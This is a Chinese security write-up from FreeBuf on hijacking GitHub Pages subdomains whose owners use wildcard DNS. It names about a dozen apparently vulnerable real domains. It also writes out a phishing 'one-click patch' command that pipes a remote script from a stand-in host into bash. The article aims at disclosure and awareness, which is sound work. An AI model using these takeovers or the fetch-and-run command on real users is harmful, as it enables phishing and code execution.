技术分析 | 我们来“劫持”个GitHub自定义域名玩吧！

技术分析 | 我们来“劫持”个GitHub自定义域名玩吧！ – 作者:evil7

*本文原创作者：evil7，本文属FreeBuf原创奖励计划，未经许可禁止转载

声明：本文仅作为技术讨论与分享，严禁用于非法用途。

猥琐发育，别浪2333

作为一个国内外项目都不怎么挖的我，比较喜欢拿自己正在使用的服务入手挖洞，毕竟拥有需求又了解业务才能长期跟进，更好的去发现各种流程上出现的毛病。

近日闲得无聊，看了看GitHub Pages服务的更新内容，可以支持自定义域名SSL自动签证了？Emmm… 阔以阔以，blog可以回归托管到github了。

顺便打算给手上每个项目放个查看document的页面，并且分别分配单独的二级域名给每个项目，多咩高端，多咩大气！

但是这么多项目需要一个个增加域名真是好叽儿麻烦哦…

干脆泛解析到github page的服务器吧！之后就只需要在github里绑定域名，就不需要每个项目再去增加DNS解析了！

哎？泛解析到公共服务器？…

常规“打野挖洞”的思路告诉我，这个单方面绑定域名的设置方式，必定要出点啥幺蛾子…

域名从DNS解析到服务器后端解析到特定项目，流程上可能会有安全问题

每个注册用户都能发布并托管page，这可控性有些广，或许此行可以GANK一波呢…

解析流程中的弱点

批量解析到公共服务器… 但是这个服务器每个人都能部署page… 是不是说…

我可以设置部署到别人的泛解析的域名下？以此劫持某个二级域名，试试用来钓鱼github用户或者看文档的项目使用者呢？

如果某个用户像我所想使用了泛解析来批量给自己项目挂自定义域名，那实际流程会是这样的：

单独二级域名的解析流程： www.deepwn.com => GitHub Page:

而泛解析域名的解析流程 *.deepwn.com => GitHub Page:

如你所见，如果一个用户自定义域名被泛解析到了GitHub的服务器，当你查询DNS时候，任何二级都会指向GitHub，但是因为没有设置部署指向某个项目，所以会显示GitHub的404页面。

那么问题来了，所有用户都能给自己的项目设置部署，使用的是同样一组GitHub的服务器，并且服务器不会验证你是不是域名所有者，也毫无措施查询是否允许域名绑定到某个项目，所以说只要能找到一个用户设置心大的域名，就能开始劫持之旅了。

比如这个我挂的hijack_demo： http://hijack.michellerobinscreative.com

有多少域名被使用在项目Page上呢？

你可以搜一下，会发现炒鸡多的项目开通了Page，并且每天操作更新page的的频率极其高…

有多少域名可以被劫持呢？

仅仅获取了1天的数据量（700+），就发现了11个可悲的域名… 天呐撸…

2018-05-14 (day: 13–14)

androidx.de
bayes.dk
claudiuandrei.com
crunchbitcoin.com
eskont.ponomarevlad.ru
fwb.app
goldtum.com
hijack.michellerobinscreative.com (这个是我demo用的)
lit.max.pub
paulispace.com
sumit.app
valuate.app

个人建议

GitHub在用户设置域名的时候会检查DNS设置，如果解析错误或者解析有问题将会在设置页面添加提醒。

那么为什么不添加个检查功能，让用户“双向验证”自己使用的域名呢？

就像某些能绑定自定义域名的Mail公共服务一样，让用户添加一条’TXT’解析来验证这个域名只能绑定到某个用户群。这样不就能避免被劫持，进行双向设置嘛？

熊怼面对现实吧

这个问题我早已经发到“GitHub Security Bug Bounty”，但是因为超出项目接受的范围，或许这个设置项的”BUG”并不会有修复变更。

也许会在之后GitHub更新中才会出现缓解措施，所以我写下此文也只是想警戒各位GitHub用户需要主动去面对和进行检查。

所以，在没有添加类似的溯源检查服务之前，请务必注意自己的解析设定避免被劫持钓鱼的麻烦。

PS: 万一被劫持，用来钓鱼你的GitHub账号？再或者劫持你的某二级域名，克隆你项目的document页面，挂上一个恶意的“升级配置脚本”，再给使用你开源项目的用户发送钓鱼的升级页面或者补丁地址？在或者干脆发送个钓鱼的“一键补丁”curl -sL http://patch.example.com/update.sh | bash

其实从社工角度，可操作的范围还挺广，万一目标项目有泛解析问题，成本低到开个新repo就行。

我们可以看到help页面已经添加了关于这个问题的警告，但问题是有多少人会看到和留意到这条内容呢？真是尴尬的解决方式…

https://help.github.com/articles/troubleshooting-custom-domains/#unsupported-custom-domain-name.

从h1报告的回复看来，GitHub并不会在近期修改服务去解决这个问题，那么在出现缓解方式和修复方案出现前，我们只能靠告知更多人去了解问题，让大家主动提高安全意识了。